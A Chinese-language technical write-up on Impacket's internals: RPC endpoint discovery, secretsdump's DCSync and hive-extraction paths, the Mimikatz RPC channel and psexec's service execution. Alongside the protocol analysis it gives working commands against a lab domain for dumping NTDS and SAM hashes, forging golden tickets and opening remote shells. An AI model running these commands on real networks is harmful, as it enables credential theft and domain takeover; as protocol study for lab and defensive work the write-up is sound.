Impacket 工具与协议原理

Impacket 中不少工具只需要一行命令,背后访问的接口、使用的身份和权限却差别很大。这里结合源码整理常用工具的调用过程,再看这些工具之间如何衔接。

源码分析对应 Impacket 9a5621d,setup.py 中版本为 0.14.0.dev。源码路径均相对此仓库。

项目结构概览

项目目录

impacket/
├── impacket/                    # 协议实现与数据结构
│   ├── dcerpc/                  # DCE/RPC 协议实现
│   │   └── v5/                  # RPC v5 接口定义与函数绑定
│   │       ├── samr.py          # [MS-SAMR] SAM 远程协议(用户/组/计算机账户管理)
│   │       ├── lsat.py/lsad.py  # [MS-LSAT]/[MS-LSAD] 本地安全授权协议(SID 解析、策略管理)
│   │       ├── scmr.py          # [MS-SCMR] 服务控制管理器协议(Windows 服务管理)
│   │       ├── drsuapi.py       # [MS-DRSR] 目录复制服务协议(DCSync 的核心)
│   │       ├── tsch.py          # [MS-TSCH] 任务计划程序协议(计划任务管理)
│   │       ├── rrp.py           # [MS-RRP] 远程注册表协议(注册表读写)
│   │       ├── nrpc.py          # [MS-NRPC] Netlogon 远程协议(域信任、DC 定位)
│   │       ├── epm.py           # EPM (Endpoint Mapper) 协议(RPC 端点发现)
│   │       ├── mgmt.py          # RPC 管理接口(接口查询)
│   │       ├── rpcrt.py         # RPC 运行时核心(PDU 序列化/反序列化、认证、分片)
│   │       ├── transport.py     # RPC 传输层(SMB/HTTP/TCP 绑定)
│   │       └── dcom/            # DCOM (分布式 COM) 实现
│   │           ├── dcomrt.py    # DCOM 运行时(OXID 解析、对象激活)
│   │           ├── wmi.py       # WMI over DCOM(IWbemServices 接口)
│   │           └── oaut.py      # OLE 自动化接口(IDispatch 调用)
│   ├── krb5/                    # Kerberos 协议实现(ASN.1/DER 编解码)
│   │   ├── kerberosv5.py        # Kerberos v5 KDC 消息收发(sendReceive)
│   │   ├── asn1.py              # Kerberos ASN.1 消息结构(AS-REQ/AS-REP/TGS-REQ/TGS-REP)
│   │   ├── crypto.py            # Kerberos 加密套件(RC4-HMAC / AES128-CTS / AES256-CTS)
│   │   ├── types.py             # 核心类型(Principal 名称、Ticket、KerberosTime)
│   │   ├── pac.py               # PAC(Privilege Attribute Certificate)结构定义与签名
│   │   └── ccache.py            # MIT Kerberos ccache 凭据缓存读写
│   ├── ldap/                    # LDAP v3 协议实现(BER 编解码)
│   ├── smbconnection.py         # SMB 连接管理层(认证协商、TreeConnect、文件操作封装)
│   ├── smb3.py / smb3structs.py # SMB 2/3 协议实现(包结构、协商、加密)
│   ├── smbserver.py             # SMB 服务器实现(可独立运行或嵌入中继)
│   ├── ntlm.py                  # NTLM/NTLMv2 认证协议(挑战-响应计算)
│   ├── spnego.py                # SPNEGO 安全协商协议
│   ├── crypto.py                # 通用加密原语(常用加密辅助函数)
│   ├── dpapi.py / dpapi_ng.py   # Windows DPAPI 加解密算法实现
│   ├── structure.py             # 二进制结构序列化基类(类似 Python struct 的增强版)
│   └── ese.py                   # ESENT/Jet Blue 数据库引擎解析(NTDS.dit 文件格式)
├── examples/                    # 攻击工具集(基于核心库的利用脚本)
│   ├── secretsdump.py           # 凭据导出(DCSync / VSS / WMI 远程卷影 / 本地解析)
│   ├── psexec.py                # 远程执行(RemComSvc 服务方式)
│   ├── wmiexec.py               # 远程执行(WMI Win32_Process 方式)
│   ├── smbexec.py               # 远程执行(SCM 服务 + 批处理方式)
│   ├── dcomexec.py              # 远程执行(DCOM MMC20/ShellWindows/ShellBrowserWindow)
│   ├── atexec.py                # 远程执行(计划任务 TSCH 方式)
│   ├── GetNPUsers.py            # AS-REP Roasting(账户未要求预认证)
│   ├── GetUserSPNs.py           # Kerberoasting(服务票据离线破解攻击)
│   ├── ticketer.py              # Golden/Silver/Sapphire Ticket 伪造
│   ├── goldenPac.py             # MS14-068 漏洞利用(PAC 签名绕过)
│   ├── getTGT.py / getST.py     # Kerberos 票据请求工具(TGT / ST + S4U 委派)
│   ├── ntlmrelayx.py            # NTLM 中继攻击框架(多协议中继 + SOCKS + 攻击模块)
│   ├── mimikatz.py              # 远程 Mimikatz RPC 服务控制
│   ├── smbserver.py             # 简易 SMB 服务器(数据中转 / NTLM 捕获)
│   ├── rbcd.py                  # 基于资源的约束委派(RBCD)属性编辑
│   ├── dacledit.py              # DACL 自由访问控制列表编辑器
│   ├── findDelegation.py        # 委派配置枚举
│   ├── raiseChild.py            # 子域→林根域提权(跨域 Golden Ticket + ExtraSID)
│   ├── addcomputer.py           # 域计算机账户添加(SAMR / LDAPS 双通道)
│   ├── getPac.py                # PAC 结构解析(S4U2Self + U2U 技术)
│   ├── GetADUsers.py            # AD 用户信息枚举(LDAP 查询)
│   ├── GetADComputers.py        # AD 计算机信息枚举(LDAP + DNS 解析)
│   ├── lookupsid.py             # SID 枚举([MS-LSAT] LsarLookupSids 调用)
│   ├── samrdump.py              # SAMR 用户全量导出([MS-SAMR] SamrEnumerateUsersInDomain)
│   ├── rpcdump.py               # EPM (Endpoint Mapper) 查询 - 枚举已注册的 RPC 端点
│   ├── rpcmap.py                # RPC 接口扫描 - 通过 MGMT 接口或暴力枚举发现监听接口
│   ├── reg.py / services.py     # 远程注册表操作 / 远程服务管理
│   ├── smbclient.py             # 交互式 SMB 客户端(文件浏览/上传/下载)
│   ├── net.py                   # 远程 net.exe 等价工具(用户/组/计算机管理)
│   ├── netview.py               # 网络资源发现(SMB 共享/服务器枚举)
│   ├── changepasswd.py          # 密码修改与重置
│   ├── getArch.py               # 目标操作系统架构探测
│   ├── sniff.py / sniffer.py    # 网络流量嗅探与解析
│   ├── karmaSMB.py              # SMB 文件内容替换
│   ├── kintercept.py            # Kerberos KDC 流量拦截与票据捕获
│   ├── dpapi.py / dpapidump.py  # DPAPI 加解密操作 / 批量导出
│   ├── describeTicket.py        # Kerberos 票据内容解析
│   ├── ticketConverter.py       # ccache ↔ kirbi 票据格式转换
│   ├── mssqlclient.py           # MSSQL 交互式客户端(TDS 协议)
│   ├── wmipersist.py            # WMI 持久化后门
│   ├── wmiquery.py              # WMI 通用查询工具
│   ├── exchanger.py             # Exchange NSPI 通讯簿查询
│   ├── sambaPipe.py             # CVE-2017-7494 利用
│   └── ...
├── tests/                       # 单元测试
├── requirements.txt             # Python 依赖
└── setup.py                     # 安装与打包

协议之间的关系

Impacket 提供网络报文、认证、协议客户端和服务端相关的 Python 类。examples/ 是对这些类的组合使用。阅读工具时,可以先从入口脚本找到操作类,再沿传输对象和协议接口向下追踪。

RPC 可以通过 SMB 命名管道,也可以直接使用 TCP;LDAP 和 MSSQL/TDS 有自己的连接与消息格式。NTLM、Kerberos 通过各协议的认证接口参与会话建立,SPNEGO 用于协商认证机制。

examples/psexec.py
  -> ServiceInstall
     -> SMB:查找可写共享、上传服务程序
     -> SCMR RPC -> SMB 命名管道 \pipe\svcctl
  -> RemCom 命名管道:命令、标准输入、标准输出、标准错误

examples/wmiexec.py
  -> DCOM/WMI -> TCP 135 与对象端点
  -> SMB:默认用于读取命令输出

examples/GetADUsers.py -> LDAP -> TCP 389 / TLS 636
examples/mssqlclient.py -> TDS -> SQL Server 的监听端口
examples/getTGT.py -> Kerberos AS 交换 -> KDC TCP 88

NTLM / Kerberos:为上述支持它们的协议建立认证上下文
structure.py / NDR / ASN.1:按对应协议组织与解析数据

例如 psexec.py 和 smbexec.py 都使用 SCMR 创建服务,但前者上传服务程序并通过专用命名管道交互,后者将命令放在服务路径中执行。底层接口相同,并不意味着文件操作和交互方式相同。

MSRPC 协议底层知识

不少远程管理工具会先连接 RPC 接口,再调用其中的操作。先看 RPC 如何定位接口、绑定和认证,后面的调用链就比较容易串起来。

DCE/RPC 基础概念

DCE/RPC 是 OSF(Open Software Foundation)制定的远程过程调用标准,微软在这个标准上加入了大量扩展形成了 MSRPC。其核心思想是:让客户端像调用本地函数一样调用远程服务器上的函数。

四个核心组件:

UUID(Universally Unique Identifier):128 位全局唯一标识符,用于标识 RPC 接口。每个 RPC 接口有一个唯一的 UUID。例如 SAMR 接口的 UUID 是 12345778-1234-ABCD-EF00-0123456789AC。服务端通过 RPC 运行时注册接口;客户端绑定时还会指定接口版本。

Opnum(Operation Number):RPC 接口中的每个函数都有一个从 0 开始递增的操作编号。例如 SAMR 接口中,SamrConnect5 是 opnum 64,SamrEnumerateUsersInDomain 是 opnum 13。客户端发起调用时,不传函数名,只传 opnum。

Protocol Sequence(协议序列):DCE/RPC 的一个关键特性是传输无关性——同一个 RPC 接口可以通过不同的底层传输协议访问。协议序列是一串字符,定义了 RPC 的运行方式,最常见的三种:

协议序列 含义 典型端口/路径 说明
ncacn_np Network Computing Architecture Connection-oriented Named Pipe \pipe\接口名 通过 SMB 命名管道传输,最常用的域操作方式
ncacn_ip_tcp Connection-oriented TCP/IP 135 或动态端口 (49152-65535) 直接通过 TCP 传输,无 SMB 封装
ncacn_http Connection-oriented HTTP 593 或自定义端口 通过 HTTP/RPC Proxy 传输,常用于 Exchange/远程桌面网关

在 ncacn_np 方式下,RPC 流量被封装在 SMB 命名管道消息中。这意味着:首先需要建立 SMB 会话(包括 NTLM/Kerberos 认证),然后在 SMB 会话上访问命名管道,最后在管道上传输 RPC PDU。命名管道访问还受服务端策略约束;允许匿名会话并不意味着允许匿名调用其中所有操作。

在 ncacn_ip_tcp 方式下,RPC 流量直接通过 TCP 传输。端口 135 上的 Endpoint Mapper(EPM)本身就是一个 ncacn_ip_tcp 的 RPC 服务。

PDU(Protocol Data Unit):DCE/RPC 定义了多种类型的 PDU,包括:
– BIND (0x0B):客户端请求绑定到某个接口(携带接口 UUID 和版本)
– BIND_ACK (0x0C):服务端接受绑定
– REQUEST (0x00):客户端发起 RPC 调用(携带 opnum 和参数数据)
– RESPONSE (0x02):服务端返回调用结果
– ALTER_CONTEXT (0x0E):在已有连接上切换绑定接口

Endpoint Mapper(EPM):EPM 是一个特殊的 RPC 服务,其接口 UUID 为 E1AF8308-5D1F-11C9-91A4-08002B14A0FA,通常可通过 135/TCP 访问。它的作用相当于”RPC 的 DNS”:客户端向 EPM 查询”某个接口 UUID 的绑定信息是什么?”,EPM 返回已注册的端点信息。服务先选择或获得端口,再向 EPM 注册;端口并非由客户端查询 EPM 这一步分配。

RPC 接口与传输端点

MSRPC 认证

MSRPC 支持多层认证:

传输层认证(Transport-level Authentication):在 ncacn_np 方式下,认证在 SMB 层面完成。服务端可根据命名管道的客户端身份进行访问检查。接口还可能要求 RPC 层认证及特定保护级别。

RPC 层认证(RPC-level Authentication):在 BIND、BIND_ACK 以及后续认证交换中携带安全令牌,具体轮次由认证机制决定。支持的认证级别(Authentication Level)从低到高:
– RPC_C_AUTHN_LEVEL_NONE (1):无认证
– RPC_C_AUTHN_LEVEL_CONNECT (2):连接时认证
– RPC_C_AUTHN_LEVEL_PKT_INTEGRITY (5):每包完整性校验(签名)
– RPC_C_AUTHN_LEVEL_PKT_PRIVACY (6):每包加密(签名+加密)

PKT_INTEGRITY 为 RPC 调用提供完整性保护,PKT_PRIVACY 进一步加密调用中的 stub 数据。RPC 头仍承担路由和解析作用。DRSUAPI 等接口要求保护级别,客户端需要在调用前设置 set_auth_level(...)。

rpcdump.py 与 rpcmap.py 的区别

这两个工具虽然都是 RPC 端点探测工具,但工作方式完全不同,适用的场景也不同。

rpcdump.py —— 通过 Endpoint Mapper 查询已注册端点

rpcdump.py 连接目标机器的 EPM(Endpoint Mapper),调用其 ept_lookup() 函数(opnum 2),获取所有已在 EPM 中注册的 RPC 接口列表。

EPM 的工作流程:
1. 当一个 RPC 服务启动时,它会调用 RpcEpRegister() 向本地 EPM 注册自己的接口 UUID、协议序列(ncacn_np/ncacn_ip_tcp 等)和具体的绑定信息(命名管道路径或 TCP 端口号)
2. 枚举端点时可以调用 ept_lookup();已知接口 UUID、要取得某种传输的端点时,通常使用 ept_map()
3. EPM 返回该接口的绑定信息字符串(如 ncacn_np:192.168.244.131[\pipe\samr])
4. 客户端使用返回的绑定信息直接连接目标接口

rpcdump.py 的核心代码:

# 连接到 EPM,调用 ept_lookup 获取所有已注册端点
resp = epm.hept_lookup(None, dce=dce)  # None 是 destHost;已有 dce 提供连接
for entry in resp:                     # 解析每个端点
    binding = epm.PrintStringBinding(entry['tower']['Floors'])
    tmpUUID = str(entry['tower']['Floors'][0])
    # 与已知 UUID 数据库匹配,识别服务和协议

实际上 hept_lookup() 封装了对 EPM 接口 E1AF8308-5D1F-11C9-91A4-08002B14A0FA 的 opnum 2 (ept_lookup) 的调用,默认 inquiry_type=RPC_C_EP_ALL_ELTS(0)表示枚举全部登记项;帮助函数会处理分批返回。

支持的协议序列(-port 参数):

端口 协议序列 说明 是否需要认证
135 ncacn_ip_tcp:<目标>[135] 直接通过 TCP 连接 EPM 否(EPM 本身)
139 ncacn_np:<目标>[\pipe\epmapper] 通过 SMB over NetBIOS 访问 EPM 先建立 SMB 会话,匿名访问受端点策略限制
445 ncacn_np:<目标>[\pipe\epmapper] 通过 SMB over TCP 访问 EPM 先建立 SMB 会话,匿名访问受端点策略限制
443 ncacn_http:[593,RpcProxy=<目标>:443] 通过 RPC Proxy (HTTPS) 访问 EPM 可选(取决于代理配置)
593 ncacn_http:<目标> 通过 RPC over HTTP 访问 EPM 可选
# 典型用法 - 不同传输方式
# TCP 135(无需认证)
python rpcdump.py @192.168.244.131 -port 135

# SMB 445(需要有效的 SMB 凭据)
python rpcdump.py testjd.local/attacker:[email protected] -port 445

# SMB 139(NetBIOS 会话)
python rpcdump.py testjd.local/attacker:[email protected] -port 139

# 指定目标 IP(当目标名无法 DNS 解析时)
python rpcdump.py testjd.local/attacker:Bb123456@dc01 -target-ip 192.168.244.131 -port 445

绑定字符串的格式例如:

ncacn_np:192.168.244.131[\pipe\samr]
ncacn_ip_tcp:192.168.244.131[动态端口]

同一接口可注册一种或多种绑定;客户端连接时要选择服务端实际开放的传输。EPM 中存在登记项之后,还需要确认该端点可连接并接受接口绑定。

rpcmap.py —— 通过 MGMT 接口或暴力枚举发现监听接口

rpcmap.py 采用完全不同的方法。它直接连接到目标机器上的 RPC MGMT 接口(Management Interface,UUID 为 AFA8BD80-7D8A-11C9-BEF4-08002B102989,版本 1.0),调用其 InqIfIds() 函数(opnum 0,对应 mgmt.hinq_if_ids)获取当前所连接 RPC 服务端上的接口列表。换一个端口或命名管道,返回结果可能不同。

rpcmap.py 的核心代码逻辑:

# 1. 绑定到 MGMT 接口
self.__dce.bind(mgmt.MSRPC_UUID_MGMT)  # MGMT UUID: AFA8BD80-7D8A-11C9-BEF4-08002B102989 v1.0

# 2. 调用 InqIfIds() 获取接口列表
ifids = mgmt.hinq_if_ids(self.__dce)   # opnum 0, 返回 vector of IFID

# 3. 遍历返回的每个接口
for tup in sorted(uuidtups):
    # 与已知协议数据库匹配
    if tup[0] in epm.KNOWN_PROTOCOLS:
        print("Protocol: %s" % epm.KNOWN_PROTOCOLS[tup[0]])
    # 与已知服务数据库匹配
    if uuid.uuidtup_to_bin(tup)[:18] in KNOWN_UUIDS:
        print("Provider: %s" % KNOWN_UUIDS[...])

两者的关键区别:

维度 rpcdump.py rpcmap.py
调用的 RPC 接口 EPM (E1AF8308-5D1F-11C9-91A4-08002B14A0FA) MGMT (AFA8BD80-7D8A-11C9-BEF4-08002B102989)
调用的函数 ept_lookup() (opnum 2) InqIfIds() (opnum 0)
获取的信息 注册的端点 + 完整的协议绑定信息(命名管道路径/端口号) 只获取接口 UUID 列表,无绑定信息
输出内容 UUID + 服务名 + 协议类型 + 所有绑定字符串 UUID + 服务名 + 协议类型
认证要求 TCP EPM 通常可匿名查询;SMB 还需允许访问管道的会话 连接的端点、MGMT 调用权限与所选认证
降级模式 无(EPM 不可用则彻底失败) 部分 MGMT 错误会触发 UUID 尝试,也可显式指定 -brute-uuids
暴力扫描能力 无 支持 -brute-uuids(枚举已知 UUID 数据库)、-brute-opnums(暴力枚举 opnum)、-brute-versions(暴力枚举版本号)

rpcmap.py 的字符串绑定参数(stringbinding)完全由用户指定,这使其比 rpcdump.py 更灵活:

# 通过 TCP 连接 MGMT 接口
python rpcmap.py 'ncacn_ip_tcp:192.168.244.131[135]'

# 通过 SMB 命名管道连接 MGMT 接口
python rpcmap.py 'ncacn_np:192.168.244.131[\pipe\epmapper]' -target-ip 192.168.244.131

# 通过 RPC Proxy
python rpcmap.py 'ncacn_http:192.168.244.131[593]'

# 通过 Exchange RPC Proxy
python rpcmap.py 'ncacn_http:[6001,RpcProxy=exchange.testjd.local:443]'

# 暴力枚举 UUID(MGMT 不可用时的降级方案)
python rpcmap.py 'ncacn_ip_tcp:192.168.244.131[135]' -brute-uuids

# 暴力枚举指定 UUID 的所有 opnum
python rpcmap.py 'ncacn_np:192.168.244.131[\pipe\samr]' -uuid 12345778-1234-abcd-ef00-0123456789ac -brute-opnums

# 暴力枚举所有 UUID 的 opnum(可能触发大量连接)
python rpcmap.py 'ncacn_ip_tcp:192.168.244.131[135]' -brute-uuids -brute-opnums -opnum-max 128

实战中的选择:
– 如果 135/TCP 端口开放且无防火墙,优先使用 rpcdump.py -port 135(无需认证,信息最全)
– 如果只有 445/TCP 可达且拥有凭据,使用 rpcdump.py -port 445(同时获得完整绑定信息)
– 如果需要暴力发现隐藏接口,或 EPM 被限制访问,使用 rpcmap.py -brute-uuids
– 如果需要对单个接口进行深度分析(如安全研究),使用 rpcmap.py -uuid <UUID> -brute-opnums

凭据获取类工具

secretsdump.py:SAM、LSA 与 NTDS

examples/secretsdump.py 负责参数和流程选择,主要实现位于 impacket/examples/secretsdump.py。它处理的数据主要有本地 SAM、SECURITY 中的 LSA secrets / 缓存域登录验证数据,以及域控制器的 NTDS。

默认远程流程会尝试本地 SAM、LSA 和目录复制。-just-dc 将范围限制到 NTDS;-use-vss 等参数改变取得数据的方式。

DRSUAPI 与 DCSync

DCSync 使用目录复制接口 IDL_DRSGetNCChanges 请求账户数据。服务端按复制请求检查域命名上下文上的扩展权限,随后返回请求的对象和属性。

  • 接口 UUID:E3514235-4B06-11D1-AB04-00C04FC2DCD2。
  • 传输:本工具通过 EPM 查询 ncacn_ip_tcp 端点,再连接该 TCP 端点。
  • 关键操作:IDL_DRSBind(opnum 0)、IDL_DRSGetNCChanges(opnum 3)。
  • RPC 保护:RPC_C_AUTHN_LEVEL_PKT_PRIVACY。

RemoteOperations.__connectDrds() 先调用 epm.hept_map(),配置 RPC 凭据、认证机制和保护级别,再 connect()、bind()。DRSBind 建立的是接口内部的复制上下文,和前一步 RPC 接口绑定分别发生。

_DRSGetNCChanges() 的关键结构如下,省略了能力协商及其他字段:

request = drsuapi.DRSGetNCChanges()
request['hDrs'] = self.__hDrs
request['dwInVersion'] = 8
# pmsgIn.V8 中填充目标对象、请求标志、属性集合等
# pNC 指向通过 SID 或 GUID 构造的 DSNAME
# 最后通过 self.__drsr.request(request) 发出请求

敏感属性包括 unicodePwd、dBCSPwd、ntPwdHistory、lmPwdHistory 和 supplementalCredentials。unicodePwd 的复制数据提供密码哈希材料,LDAP 读取这个属性没有相同效果。supplementalCredentials 可包含 Kerberos AES 等密钥,启用可逆密码存储时还可能包含 Primary:CLEARTEXT。

返回值还要经过解密与字段解析。RPC 隐私保护包住调用数据;复制协议对敏感属性还有自己的加密处理,工具调用 drsuapi.DecryptAttributeValue() 解开属性,再对相应哈希字段处理基于 RID 的 DES 层。离线 NTDS 解析使用的 PEK 路径则不同。

DCSync 复制接口与解密层次

常见 DCSync 授权是在域根对象上具有:

  • DS-Replication-Get-Changes:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2。
  • DS-Replication-Get-Changes-All:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2。

普通账户也可通过委派获得这些权限。MS-DRSR 的权限检查 还区分秘密复制、过滤属性集和 RODC 秘密复制请求。

这条路径需要到 EPM 及实际 DRSUAPI TCP 端点的网络连接。现代 Windows 常用动态端口范围为 49152–65535/TCP,管理员也可指定端点或调整范围。该源码没有在 TCP 135 失败后改走 SMB 命名管道的 DRSUAPI 回退。DCSync 本身无需远程创建进程,但目录复制调用仍可被审计。

# 目录复制,限定 NTDS 数据
python secretsdump.py testjd.local/administrator:[email protected] -just-dc

# 限定账户
python secretsdump.py testjd.local/administrator:[email protected] -just-dc-user administrator

# 哈希认证
python secretsdump.py testjd.local/[email protected] -hashes ':<NTHASH>' -just-dc

# 用 LDAP 查询筛选复制对象
python secretsdump.py testjd.local/administrator:[email protected] -just-dc -ldapfilter '(memberOf=CN=Domain Admins,CN=Users,DC=testjd,DC=local)'

输出字段格式:

# SAM:用户名:RID:LM哈希:NT哈希:::
Administrator:500:<LMHASH>:<NTHASH>:::

# NTDS:账户名:RID:LM哈希:NT哈希:::
testjd.local\krbtgt:502:<LMHASH>:<NTHASH>:::

# Kerberos 密钥:账户名:密钥类型:密钥
testjd.local\administrator:aes256-cts-hmac-sha1-96:<AES256KEY>
testjd.local\administrator:aes128-cts-hmac-sha1-96:<AES128KEY>

Remote Registry 与 VSS

SAM 和 LSA 的常见远程提取路径通过 \pipe\winreg 访问 Remote Registry,读取 SYSTEM 相关信息取得 BootKey,并用 BaseRegSaveKey 将 SAM、SECURITY 保存到临时文件,再通过 SMB 读取。

这些操作通常需要目标本地管理员级别的权限,以及 Remote Registry、相关共享和注册表键的访问权限。成员服务器导出 SAM/LSA 可以走这条路径。

-use-vss 主要改变 DC 上 NTDS 的读取方式。saveNTDS() 查询 NTDS 所在位置,查找或创建所在卷的快照,将快照中的 ntds.dit 复制到临时位置,再通过 SMB 读取。默认远程执行方式为 smbexec,也可选择 wmiexec 等。SCMR 创建服务、执行快照及复制命令,与 Remote Registry 保存 hive 是不同步骤。

# DC:通过快照取得 NTDS
python secretsdump.py testjd.local/administrator:[email protected] -use-vss
python secretsdump.py testjd.local/administrator:[email protected] -use-vss -exec-method wmiexec

# 成员机器:尝试导出本地 SAM / LSA
python secretsdump.py testjd.local/administrator:[email protected]

WMI 远程快照

-use-remoteSSWMI 通过 DCOM/WMI 调用 Win32_ShadowCopy.Create 创建快照,通过 SMB 取得文件后在本地解析。它避免在远端启动 vssadmin.exe 这类命令行程序,仍然会调用远程管理接口、创建快照和读取文件。

python secretsdump.py testjd.local/administrator:[email protected] -use-remoteSSWMI

# 同时处理 DC 的 NTDS
python secretsdump.py testjd.local/administrator:[email protected] -use-remoteSSWMI -use-remoteSSWMI-NTDS

本地文件解析

已有 hive 或数据库文件时,LOCAL 模式在本地解析。BootKey 用于打开后续密钥层;仅有 ntds.dit 或 SAM 文件通常还不够。

python secretsdump.py LOCAL -system SYSTEM -sam SAM
python secretsdump.py LOCAL -system SYSTEM -security SECURITY
python secretsdump.py LOCAL -system SYSTEM -ntds ntds.dit
python secretsdump.py LOCAL -bootkey '<HEX_BOOTKEY>' -sam SAM

RODC Key List

Key List 路径使用 RODC 专属 krbtgt_编号 账户的 AES 密钥构造部分 TGT,再向可写域控制器的 KDC 请求 KERB-KEY-LIST-REQ。KDC 检查与该 RODC 相关的密码复制策略,允许的账户才会返回相应密钥。这条路径并不要求先从 RODC 磁盘中读出目标账户的缓存。

python secretsdump.py testjd.local/attacker:[email protected] -use-keylist -rodcNo 20000 -rodcKey '<RODC_AES_KEY>'

192.168.244.131 在这里是可写 DC。独立工具 keylistattack.py 在后文介绍。

mimikatz.py —— 远程 Mimikatz 控制

用途:连接到目标机器上已运行的 Mimikatz RPC 服务,远程执行 Mimikatz 命令。

底层协议:自定义 RPC 接口

Mimikatz 注册的 RPC 接口 UUID 为 17FC11E9-C258-4B8D-8D07-2F4125156244,版本 1.0(定义在 mimilib.py 中的 MSRPC_UUID_MIMIKATZ)。该接口定义了三个操作:

opnum 函数 用途
0 MimiBind Diffie-Hellman 密钥交换 + 绑定会话
1 MimiUnbind 解除绑定(impacket 的 mimikatz.py 未使用)
2 MimiCommand 发送 RC4 加密的 Mimikatz 命令,返回加密结果

RPC 服务与客户端连接

mimikatz.py 是已经运行的 Mimikatz RPC 服务的客户端。服务端需要另外部署、启动,并拥有执行对应命令所需的权限。客户端建立 RPC 连接,不会自动把远程普通账户提升为管理员。

在隔离实验机的管理员终端启动服务:

C:\Windows\Temp\mimikatz.exe "privilege::debug" "rpc::server"

服务向 RPC 运行时注册接口和端点;客户端随后查询 EPM。mimikatz.py 先尝试取得 ncacn_np 绑定,复用 EPM 连接的 SMB 会话;该尝试失败后,再查询 ncacn_ip_tcp 绑定。后一条路径需要 TCP 135 和实际服务端点可达。

连接部分的调用关系:

stringBinding = epm.hept_map(address, MSRPC_UUID_MIMIKATZ, protocol='ncacn_np')
# 为返回的绑定创建传输对象,并复用 SMBConnection
# dce.connect() -> dce.bind(MSRPC_UUID_MIMIKATZ)
# 此路径异常后再尝试 protocol='ncacn_ip_tcp'
python rpcdump.py testjd.local/administrator:[email protected] -port 445
python mimikatz.py testjd.local/administrator:[email protected]

rpc::server 持续监听时会占用启动它的控制台。实验中可使用单独的目标终端管理服务生命周期;通过远程任务启动时,要分别考虑任务是否已开始、进程是否仍在运行、客户端是否还在等待输出。atexec.py -silentcommand 省略输出文件回读,但仍有任务注册、启动和运行信息查询。

密钥交换与加密通道建立:

连接建立后,客户端与 Mimikatz RPC 服务端进行 Diffie-Hellman 密钥交换(1024 位 MODP 群):

客户端 (mimikatz.py)                               Mimikatz RPC 服务端
─────────────────────                              ────────────────────
生成 1024 位 DH 私钥 a
计算公钥 A = G^a mod P
包装为 PUBLICKEYBLOB 格式 (144 字节)

─── MimiBind(A) ──────────────────────────→        生成 1024 位 DH 私钥 b
                                                   计算公钥 B = G^b mod P
                                                   计算共享密钥 S = A^b mod P

←── B, phMimi ──────────────────────────────         

计算共享密钥 S = B^a mod P
取 S 的最后 16 字节,再逆序
作为 RC4 会话密钥 key
                                                    也取最后 16 字节逆序作为 key

─── MimiCommand(RC4(key, command\x00 as UTF-16LE)) ──→  RC4 解密 → 执行命令 → RC4 加密结果
←── RC4(key, result as UTF-16LE) ───────────────────

其中 DH 参数:
– G = 2
– P = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF(RFC 2409 的第二组,1024-bit MODP)

# 连接到正在运行 RPC 服务的目标
python mimikatz.py testjd.local/administrator:[email protected]

# 进入交互模式后执行的命令
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # lsadump::secrets
mimikatz # lsadump::lsa /patch
mimikatz # lsadump::dcsync /user:testjd\krbtgt
mimikatz # kerberos::list
mimikatz # kerberos::golden /user:Administrator /domain:testjd.local /sid:S-1-5-21-<DOMAIN_SID> /krbtgt:<NTLM> /id:500

这里的应用层加密可以直接对照 examples/mimikatz.py:

self.key = dh.getSharedSecret(blob['y'][::-1])[-16:][::-1]
command = (line.strip('\n') + '\x00').encode('utf-16le')
command = ARC4.new(self.key).encrypt(command)
resp = mimilib.hMimiCommand(self.dce, self.pHandle, command)

响应使用同一密钥重新初始化 ARC4 后解密,得到 UTF-16LE 文本。接口的 DH/RC4 交换与 RPC 传输层认证各自负责不同部分,执行命令的权限来自目标上的服务进程。结束实验时需要停止该进程,再移除本次部署的文件与任务。

横向移动类工具

psexec.py —— 经典服务执行

底层 RPC 接口:[MS-SCMR] Service Control Manager Remote Protocol + 自定义命名管道通信

RPC 接口:SCMR UUID 367ABB81-9844-35F1-AD32-98F038001003,通过 \pipe\svcctl 命名管道连接

执行条件

  • 权限要求:需要创建服务和写入所选共享的权限。默认配置中常使用目标本地管理员账户;域账户还需在目标上取得相应授权。
  • 网络端口:445/TCP(SMB over TCP)。使用 -port 139 时通过 NetBIOS 会话服务访问 SMB。
  • 关键依赖:安装辅助类会枚举并选择可写共享;SCMR 的创建、启动服务操作也需被允许。

psexec 文件上传、服务执行与命名管道交互

psexec.py 的完整执行流程:

阶段一:上传服务程序
1. ServiceInstall.findWritableShare() 枚举共享,寻找可写位置
2. 将内嵌的 RemComSvc 服务二进制(remcomsvc.py)上传到所选共享
3. 文件通过 SMBConnection.putFile() 写入

阶段二:创建并启动服务
1. 通过 \pipe\svcctl 绑定到 SCM RPC 接口
2. 调用 ROpenSCManagerW (opnum 15) 打开服务控制管理器
3. 调用 RCreateServiceW (opnum 12) 创建指向 RemComSvc 的服务
4. 调用 RStartServiceW (opnum 19) 启动服务

阶段三:命名管道通信
1. 服务启动后,RemComSvc 创建以下命名管道:
– \RemCom_communicaton:主控制通道,发送命令和接收返回码
– \RemCom_stdin<Machine><PID>:标准输入管道
– \RemCom_stdout<Machine><PID>:标准输出管道
– \RemCom_stderr<Machine><PID>:标准错误管道
2. 多线程模型:RemoteStdInPipe(用户输入->STDIN)、RemoteStdOutPipe(STDOUT->屏幕)、RemoteStdErrPipe(STDERR->屏幕)各自由独立线程管理

阶段四:清理
1. 调用 RControlService (opnum 1) 停止服务
2. 调用 RDeleteService (opnum 2) 删除服务
3. SMB 删除 RemComSvc 文件

# 交互式 shell
python psexec.py testjd.local/administrator:[email protected]

# 执行单条命令
python psexec.py testjd.local/administrator:[email protected] "whoami"

# 指定服务名
python psexec.py testjd.local/administrator:[email protected] -service-name BthApp

Windows 事件日志特征:
– Event ID 7045(系统日志):服务安装(A service was installed in the system)
– Event ID 7036(系统日志):服务状态变更
– 所选共享中的服务二进制及相应文件访问记录

wmiexec.py —— WMI 方式执行

底层协议:[MS-WMI] + DCOM (Distributed COM)

DCOM 接口:
– WMI 登录接口:IWbemLevel1Login(IID: F309AD18-D86A-11D1-BF77-00C04FB6809F)
– WMI 服务接口:IWbemServices(IID: 9556DC99-828C-11CF-A37E-00AA003240C7)
